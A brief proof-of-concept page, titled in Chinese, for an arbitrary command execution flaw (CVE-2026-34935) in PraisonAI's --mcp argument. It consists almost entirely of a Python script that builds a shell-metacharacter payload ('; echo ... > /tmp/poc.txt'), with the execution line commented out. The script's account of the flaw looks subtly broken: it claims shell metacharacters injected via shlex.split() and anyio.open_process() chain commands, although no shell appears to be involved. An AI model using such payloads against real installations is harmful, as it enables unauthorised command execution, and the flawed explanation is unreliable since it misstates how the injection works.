CVE-2026-34935 PraisonAI 任意命令执行漏洞

# PoC for CVE-2026-34935 # The application passes the --mcp argument directly to shlex.split() and anyio.open_process(). # By injecting shell metacharacters, we can achieve arbitrary command execution. import subprocess import sys # Simulating the vulnerable CLI call # In a real scenario, this would be executed on the target machine running the vulnerable version. # Example payload: "valid_param; touch /tmp/pwned" # The vulnerability lies in how the input is parsed and executed. # If the app executes: anyio.open_process(shlex.split(user_input)) # and user_input is: "some_arg; malicious_command" payload = "; echo 'CVE-2026-34935 Exploited' > /tmp/poc.txt" vulnerable_command_args = ["praisonai", "--mcp", payload] print(f"[+] Attempting to exploit CVE-2026-34935 with payload: {payload}") print(f"[+] Simulated command: praisonai --mcp '{payload}'") # subprocess.call(vulnerable_command_args) # Uncomment to run locally if vulnerable app exists print("[!] If exploited, a file /tmp/poc.txt would be created on the target.")